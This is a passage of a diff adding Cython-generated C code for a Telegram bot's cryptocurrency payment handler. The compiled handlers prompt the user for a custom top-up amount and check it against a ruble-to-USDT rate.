__pyx_t_2 = 0; + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_builder = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/cryprobot_pay.py":189 + * ): + * builder = InlineKeyboardBuilder() + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_cryptobot")) # <<<<<<<<<<<<<< + * + * await callback_query.message.answer( + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 189, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 189, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 189, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_text, __pyx_kp_u__27) < 0) __PYX_ERR(0, 189, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_callback_data, __pyx_n_u_pay_cryptobot) < 0) __PYX_ERR(0, 189, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 189, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, __pyx_t_6}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 189, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/cryprobot_pay.py":191 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_cryptobot")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * ", .", + * reply_markup=builder.as_markup(), + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 191, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 191, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/cryprobot_pay.py":193 + * await callback_query.message.answer( + * ", .", + * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< + * ) + * + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 193, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 193, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; + __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 193, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_t_6) < 0) __PYX_ERR(0, 193, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/cryprobot_pay.py":191 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_cryptobot")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * ", .", + * reply_markup=builder.as_markup(), + */ + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__29, __pyx_t_1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 191, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_6); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L4_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 191, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 191, __pyx_L1_error) + } + } + + /* "handlers/payments/cryprobot_pay.py":196 + * ) + * + * await state.set_state(ReplenishBalanceState.entering_custom_amount_crypto) # <<<<<<<<<<<<<< + * + * + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 196, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 196, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_entering_custom_amount_crypto); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 196, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_5}; + __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 196, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_6); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L5_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 196, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 196, __pyx_L1_error) + } + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/cryprobot_pay.py":184 + * + * + * @router.callback_query(F.data == "enter_custom_amount_crypto") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_5); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_AddTraceback("process_enter_custom_amount", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/cryprobot_pay.py":199 + * + * + * @router.message(ReplenishBalanceState.entering_custom_amount_crypto) # <<<<<<<<<<<<<< + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_13cryprobot_pay_19process_custom_amount_input(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_13cryprobot_pay_19process_custom_amount_input = {"process_custom_amount_input", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_13cryprobot_pay_19process_custom_amount_input, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_13cryprobot_pay_19process_custom_amount_input(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_message = 0; + PyObject *__pyx_v_state = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[2] = {0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_custom_amount_input (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_message,&__pyx_n_s_state,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_message)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 199, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 199, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_custom_amount_input", 1, 2, 2, 1); __PYX_ERR(0, 199, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_custom_amount_input") < 0)) __PYX_ERR(0, 199, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 2)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + } + __pyx_v_message = values[0]; + __pyx_v_state = values[1]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_custom_amount_input", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 199, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.cryprobot_pay.process_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_13cryprobot_pay_18process_custom_amount_input(__pyx_self, __pyx_v_message, __pyx_v_state); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_13cryprobot_pay_18process_custom_amount_input(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_message, PyObject *__pyx_v_state) { + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_custom_amount_input", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input *)__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input(__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 199, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_message = __pyx_v_message; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_message); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_message); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6, __pyx_codeobj__30, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_custom_amount_input, __pyx_n_s_process_custom_amount_input, __pyx_n_s_handlers_payments_cryprobot_pay); if (unlikely(!gen)) __PYX_ERR(0, 199, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.cryprobot_pay.process_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_20generator6(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + unsigned int __pyx_t_4; + int __pyx_t_5; + Py_ssize_t __pyx_t_6; + Py_UCS4 __pyx_t_7; + PyObject *__pyx_t_8 = NULL; + PyObject *__pyx_t_9 = NULL; + PyObject *__pyx_t_10 = NULL; + PyObject *__pyx_t_11 = NULL; + PyObject *__pyx_t_12 = NULL; + int __pyx_t_13; + PyObject *__pyx_t_14 = NULL; + PyObject *__pyx_t_15 = NULL; + int __pyx_t_16; + char const *__pyx_t_17; + PyObject *__pyx_t_18 = NULL; + PyObject *__pyx_t_19 = NULL; + PyObject *__pyx_t_20 = NULL; + PyObject *__pyx_t_21 = NULL; + PyObject *__pyx_t_22 = NULL; + PyObject *__pyx_t_23 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_custom_amount_input", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L6_resume_from_await; + case 2: goto __pyx_L7_resume_from_await; + case 3: goto __pyx_L8_resume_from_await; + case 4: goto __pyx_L15_resume_from_await; + case 5: goto __pyx_L17_resume_from_await; + case 6: goto __pyx_L29_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 199, __pyx_L1_error) + + /* "handlers/payments/cryprobot_pay.py":201 + * @router.message(ReplenishBalanceState.entering_custom_amount_crypto) + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): # <<<<<<<<<<<<<< + * amount = int(message.text) + * if amount // RUB_TO_USDT <= 0: + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_text); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 201, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_isdigit); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 201, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 201, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 201, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (__pyx_t_5) { + + /* "handlers/payments/cryprobot_pay.py":202 + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + * amount = int(message.text) # <<<<<<<<<<<<<< + * if amount // RUB_TO_USDT <= 0: + * await message.answer( + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_text); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 202, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_3 = __Pyx_PyNumber_Int(__pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 202, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_amount = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/cryprobot_pay.py":203 + * if message.text.isdigit(): + * amount = int(message.text) + * if amount // RUB_TO_USDT <= 0: # <<<<<<<<<<<<<< + * await message.answer( + * f" {RUB_TO_USDT}. , :" + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_RUB_TO_USDT); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 203, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_1 = PyNumber_FloorDivide(__pyx_cur_scope->__pyx_v_amount, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 203, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = PyObject_RichCompare(__pyx_t_1, __pyx_int_0, Py_LE); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 203, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 203, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (__pyx_t_5) { + + /* "handlers/payments/cryprobot_pay.py":204 + * amount = int(message.text) + * if amount // RUB_TO_USDT <= 0: + * await message.answer( # <<<<<<<<<<<<<< + * f" {RUB_TO_USDT}. , :" + * ) + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 204, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + + /* "handlers/payments/cryprobot_pay.py":205 + * if amount // RUB_TO_USDT <= 0: + * await message.answer( + * f" {RUB_TO_USDT}. , :" # <<<<<<<<<<<<<< + * ) + * return + */ + __pyx_t_2 = PyTuple_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 205, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_6 = 0; + __pyx_t_7 = 127; + __Pyx_INCREF(__pyx_kp_u__31); + __pyx_t_7 = (65535 > __pyx_t_7) ? 65535 : __pyx_t_7; + __pyx_t_6 += 25; + __Pyx_GIVEREF(__pyx_kp_u__31); + PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_kp_u__31); + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_RUB_TO_USDT); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 205, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_9 = __Pyx_PyObject_FormatSimple(__pyx_t_8, __pyx_empty_unicode); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 205, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_7 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_9) > __pyx_t_7) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_9) : __pyx_t_7; + __pyx_t_6 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_9); + __Pyx_GIVEREF(__pyx_t_9); + PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_t_9); + __pyx_t_9 = 0; + __Pyx_INCREF(__pyx_kp_u__32); + __pyx_t_7 = (65535 > __pyx_t_7) ? 65535 : __pyx_t_7; + __pyx_t_6 += 36; + __Pyx_GIVEREF(__pyx_kp_u__32); + PyTuple_SET_ITEM(__pyx_t_2, 2, __pyx_kp_u__32); + __pyx_t_9 = __Pyx_PyUnicode_Join(__pyx_t_2, 3, __pyx_t_6, __pyx_t_7); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 205, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_9}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 204, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L6_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 204, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) 